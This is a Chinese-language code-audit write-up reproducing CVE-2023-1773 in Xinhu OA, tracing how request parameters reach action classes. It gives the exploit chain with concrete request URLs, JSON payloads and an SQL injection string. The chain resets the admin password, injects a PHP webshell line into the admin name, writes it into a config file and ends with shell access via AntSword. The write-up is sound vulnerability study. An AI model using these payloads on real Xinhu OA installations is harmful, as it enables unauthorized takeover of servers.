CVE-2023-1773
代码审计之CVE-2023-1773
参考文章:
[TOC]
0x00 前言
通过本次漏洞复现和代码审计,我应该掌握以下能力:
基础能力:
怎么高效地查看源码和获取信息.
如何不断溯源代码以得到目的信息.
对以面向对象为核心的项目的特点做一个总结.
怎么触发对应方法?如果在前端可控,又该怎么构造数据包?
熟悉攻击链,明白攻击链每一环的条件和作用.
掌握漏洞复现和代码审计的一般流程.
进阶能力:
能独立审计一些简单的漏洞.
掌握一些代码审计工具并用来解决漏洞.
高阶目标:掌握项目框架.
0x01 漏洞简介
CVE-2023-1773
产品:信呼oa
影响版本:<=2.32
0x02 入口分析
index.php
本次从index.php入手,先放出代码:
对本段代码有以下问题:
- 各个变量有什么用?
- 不认识这些方法.
- 这段代码的功能有哪些?
- 这段代码哪些地方可以被利用?
我们一点一点看:
get()方法溯源
1 | $_uurl = $rock->get('rewriteurl'); |
不认识$rock->get('rewriteurl')
,那么我们不断溯源。
这里面又有isempt()
方法和jmuncode()
方法不认识,但是从名字上可以窥见其功能一二。
但是我们也要明白,项目往往会重写一些方法。同时,项目的方法是经过一层层封装的,越表层文件的方法往往被封装了很多次,需要我们不断溯源直至最底层的方法。
先看看isempt()
方法:
注释给出来了,就不需要继续溯源了——溯源的目的就是知道特定代码的作用。
再看看jmuncode()
方法
这段代码的作用给CHATGPT喂喂:对参数做一定的XSS过滤,转义单引号并去除空格。
总结一下get()
方法的作用:获取GET传参中的值(第二个参数是默认值),并做了一定的xss过滤等处理,其中对单引号进行了转义,去除空格。
另外,get()方法是可控的。
View.php
思考
通过对网页的观察,我们开始怀疑$d,$m,$a等与GET参数有关,再大概扫几眼项目结构,怀疑这几个参数可以拼接路径。
对前端和项目结构的信息搜集也是很重要的,换言之,我们要想办法在任何地方获取信息,而不是局限自身于项目源码。
思考在哪些地方可以用到这些变量,进言之,哪个页面可以利用这些变量拼接目录。
View.php执行该功能,部分源码如下:
gettoken()方法溯源过程(可跳)
1 | if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false'); |
不知道gettoken()
方法的作用,溯源gettoken()
方法。下面详细讲讲溯源过程:
- 要知道该方法的作用,ctrl+点击该方法,发现点不动。
- 点击
jm
,看看是否有该方法的声明或实现。发现没有。 jm
类没有,那么找上级$rock
看看。也没有。- 找
$rock
的上级看看,也没有。 - 上大招:ctrl+shift+f——全局搜索:function gettoken(),找到了:
jmChajian.php
- 该怎么按照溯源方式找到这个文件?
rocktokenarr
是个数组,这个信息并没有什么用,再回到jmChajian.php
。
gettoken()函数的作用是根据传入的参数 $na
来获取对应的 token 值。如果在 $this->rocktokenarr
数组中找到了对应的键 $na
,则返回该值;否则,调用 $this->rock->get($na, $dev)
方法来获取值,并将其作为结果返回。
那么总结一下,$ajaxbool从GET参数里获得。
可以见得,上面的步骤对漏洞解决好像没有作用,但是写在这里是为了学习溯源过程,毕竟:磨刀不误砍柴工。
代码分析
参数处理
View.php
首先对各个GET参数进行拆分,存入并拼接路径。
对GET参数m进行拆分。
文件包含
出现了一个常量ROOT_PATH
和$p
,溯源去弄明白它们的值。
溯源dirname()
方法,发现是个不可嵌入式存根——底层方法,那我们直接上网搜索即可。
dirname()
是一个 PHP 内置函数,用于返回一个路径中的目录部分。它会返回一个字符串,该字符串包含了指定路径中的目录部分,而不包括文件名部分。
dirname(__FILE__)
返回当前文件的目录名,而dirname(dirname(__FILE__))
则返回当前文件的上一级目录的目录名。因此,这行代码的作用是定义一个常量
ROOT_PATH
,其值是当前文件的上一级目录的路径,且路径中的反斜杠被替换为斜杠。这样可以方便地在项目中引用该常量,以获取项目根目录的路径。
当前文件路径:···/src/include/View.php
,可知ROOT_PATH
是/src
$p
:
1 | $p = PROJECT; |
溯源PROJECT
:
1 | if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain')); |
一般来说$p=webmain
,当然也可以GET参数控制,这里我们只用到webmain
。
最后溯源一下strformat()
方法(其实可以直接猜出该方法的作用):
溯源stringformat()
方法:
总结一下strformat()的作用:对一个字符串进行格式化处理,通过替换占位符来动态生成最终的字符串输出。
明明一眼可以猜出的作用,通过多次溯源才得到,这就是审计面向对象的一个痛楚。
再看看下面的文件包含:
三个路径:
$actpath=/src/p/d/_m
$catfile=/src/p/d/_m/mAction.php
$catfile1=/src/p/d/_m/_mAction.php
先包含$catfile1
,$catfile
后还有代码,直接喂给GPT:
首先是 method_exists()方法:
在PHP中,
method_exists()
函数用于检查一个对象或类是否具有指定的方法。其语法如下:
1 bool method_exists ( mixed $object , string $method_name )
$object
:表示要检查的对象或类名。$method_name
:表示要检查的方法名。
method_exists()
函数返回一个布尔值,如果对象或类中存在指定的方法,则返回true
,否则返回false
。
通过对$ajaxbool
,也就是GET[‘ajax’]
的调控,可以实例化不同的对象。
如果$xhrock
存在$actname
方法,执行该方法并把结果echo
出来。至于beforeAction()
方法和afterAction()
方法不过多注意。
深入思考
假设:a=index,m=reimpalt|api,d=task&p=webmain,ajax=false,会发生什么?
$catfile=/src/webmain/task/api/reimplatAction.php
$clsname=reimplatClassAction
$xhrock=new reimplatClassAction()
$action=indexAction
$actbstr=$xhrock->$actname()
会实例化reimplatClassAction对象,并执行indexAction()方法(只要实例化对象就可以触发对应方法)。请记住这段分析,下文会用到。
剩下的代码跟渲染有关,不赘叙。
参数利用
p,d,_m都被用来拼接路径,m被拼接成mAction.php文件。对于参数a,如果$ajax=true,拼接为aAjax,否则被拼接成aAction。
很明显,a的作用是确定方法。这里引用一下大佬的解释:
m可以用|分隔,分隔的时候取m[0]为action php。分别判断m[0]Action.php,m[1]Action.php是否存在,存在都会进行文件包含
m:模版文件内容 拼接路径为wen主目录路径+d+mAction.php
d:webmain下面的action的前置路径,这里如果当m存在|的时候,会将|的后面部分拼接到d后面a:Class action里面对应的方法调用
ajaxbool 如果为true,则会调用$aAjax的方法,如果为false,直接调用$aAction方法。如果$ajaxbool == ‘html’ || $ajaxbool == ‘false’ 则会进行模版渲染。所以调用的方法是ACtion或者Ajax结尾
思考可控
包含了两个文件,$catfile1
的可控性不是很强,但是$catfile可以被很好地控制。
这里引用一下师傅博客的解释:
其实actfile1我们并不能做到真正完全的可控,因为其最后的拼接是
$_m.$_m
,就意味着最后包含的php文件的前缀名必须与上级目录相同,具有一定的局限性,这里我们侧重观察actfile被包含后的操作(实际上actfile1被包含后也确实并没有进行更多的操作了),接下来的分析围绕着actfile,$classname变量由$a和”ClassAction”拼接起来,$a可控。,$actname变量由$a和”Action”拼接起来,$a可控。如果ajaxbool为true那么$actname由$a和”Ajax”拼接,$ajaxbool可控(前文提到控制GET传参)。然后new一个名为$classname的值的类,判断该对象中是否存在名为$actname的方法,如果存在,就执行并把结果echo出来
小结
经过以上的分析,我们知道了如何激发一个文件:通过参数拼接然后包含对应文件。另外,只要包含了特定文件,也可以触发对应的方法。也就是说:如果想利用某个方法,只需要构造对应的GET参数。
再深入一点:index.php
会包含View.php
,我们只需要在index.php
操作即可。
0x03 寻找漏洞
前言
我们知道了参数的利用过程,但这不代表找到了漏洞,这就像找到了入口,却没有找到宝藏。
由于实力有限,这里直接给出一个漏洞点,之后我会下载有关寻找漏洞和代码审计的工具。
文件写入与包含
方法与要求
如果可以在某个文件中写入木马并包含该文件,上蚁剑,即可实现getshell
。
为了实现该目的,我们需要哪些条件呢?
- 可以执行写入的文件A与被写入的文件B
- 怎么写入A文件
- 写入后该如何包含B文件
具体实现
/webmain/system/cog/cogAction.php下的cogClassAction::savecongAjax()方法可以执行文件写入,写入到/src/webmain/webmainConfig.php,具体代码如下:
代码不难理解,重点是可控点在哪里,在$this->adminname
。
为什么在这里,我们不妨尝试溯源一下$this->adminname
。
溯源$this->adminname
点击adminname
:
往下找,肯定有赋值语句:
点击右边绿色的adminname
,发现点击不了。思考是不是getsession()
方法控制左边adminname
的值:
这就是不断封装,点击session()
方法,点击不了。点击rock
看看情况:
点击绿色的rock
,到了config.php,并没有session()
的痕迹:
再往上层(底层)找,在rockClass.php里有:
setsession()
在session()
上面,一不留神就会忽略掉。这里其实有一层逻辑关系(先setssion再使用session),不过相当隐晦,我也是事后才知道。
那么我们应该溯源setsession()
:
······
最后确定$this->adminname
是从数据库里面提取的。那么我们只需要改变数据库里对应的值即可,也就是SQL注入改变对应的值。
SQL注入
bp里的$ajax参数有误,是$ajaxbool,因为默认是false所以部分情况没影响,这里不做修改,请读者注意!
在/src/webmain/task/api/reimplatAction.php
文件下有SQL注入点
修改密码(非SQL注入,但别跳)
修改密码比较简单,代码如下:
溯源得知arrvalue()
方法可以获取数组对应的值。
思路也比较简单:激活对应方法即可,下面有几个问题需要解决:
- 参数在哪里输入
- 怎么使参数符合要求
- 怎么激活对应方法
寻找参数输入点
对$data
溯源:
对$bodystr
溯源:
对$body
溯源:
对getpostdata()
溯源:
喂给GPT:
这段代码的目的是从POST请求中获取数据。如果
$GLOBALS['HTTP_RAW_POST_DATA']
存在,它将首先尝试从那里获取数据。如果这个变量为空或不存在,它将尝试从php://input
中获取POST请求的数据,并返回处理后的数据。
溯源'HTTP_RAW_POST_DATA'
发现是存根,再喂给GPT:
$HTTP_RAW_POST_DATA
是一个在 PHP 5.2.0 版本中被废弃的全局变量,用于存储原始的 POST 请求数据。这个变量包含了通过 POST 方法发送到服务器的原始数据,而不是经过 PHP 解析后的数据。在 PHP 5.6.0 版本中,这个变量被移除,因为它会导致一些安全问题。取而代之的是使用
php://input
来获取原始的 POST 数据。php://input
是一个只读流,可以用于读取 POST 请求的原始数据
一言以蔽之:获取请求体数据。
使参数符合要求
代码会经过一次解密,所以我们要先加密一次,把加密后的数据再发送即可正确解析。
此外,解密后的数据会被json_decode()
方法执行一次,溯源json_decode()
方法,结果是存根,喂给GPT:
json_decode()
是一个在 PHP 中用于解析 JSON 字符串的非常有用的函数,可以方便地将 JSON 数据转换为 PHP 中的数据结构。
很明显,我们的请求体参数是json
格式的,根据程序要求构造一个json数据包:
1 | { |
注意:json只允许双引号包裹数据,用单引号是错的,这一点我被卡了好久。
回顾上文,我们需要把该数据包加密。有strunlook()
方法,那么应该有strlook()
方法(这个读者可以自己寻找,不做溯源):
再看看strunlook()代码:
二者比较对称,不做赘叙。
现在需要修改程序:
增加:
1 | $exp = $body; |
激活对应的方法
路径和方法:/src/webmain/task/api/reimplatAction.php
的reimplatClassAction::indexAction()
方法
转换为GET参数:
index.php/?a=index&m=reimpalt|api&d=task&p=webmain&ajax=false
bp请求包如下:(必须是POST请求)
开始操作
发送json数据包加密:
1 | {"msgtype": "editpass","user": "admin","pass": "666”} |
发送加密字符串以修改密码:
重新登入发现密码已改。
修改adminname
我选择$msgtype=='editmobile'
:
m()方法
包含相关文件,主要作用是锁定表。参数是admin
,锁定xinhu_admin
表
update()
方法
溯源得知数据库是mysqli
,寻找update()
方法的底层语句:
payload
目标语句:
1 | update xinhu_admin set `mobile`=‘123’, name=‘\n$_POST[1];//’ where `user`=admin; |
payload_0:123’, name=‘\n$_POST[1];//
payload_1:
1 | { |
bp如图:
修改成功
更新adminname
本质上是要触发cogAction.php
文件中savecongAjax()
方法:
之后退出重登,蚁剑连上去即可。
0x04 总结
本次漏洞复现和代码审计收获颇丰。下一篇文章会对上面的能力要求做一个总结。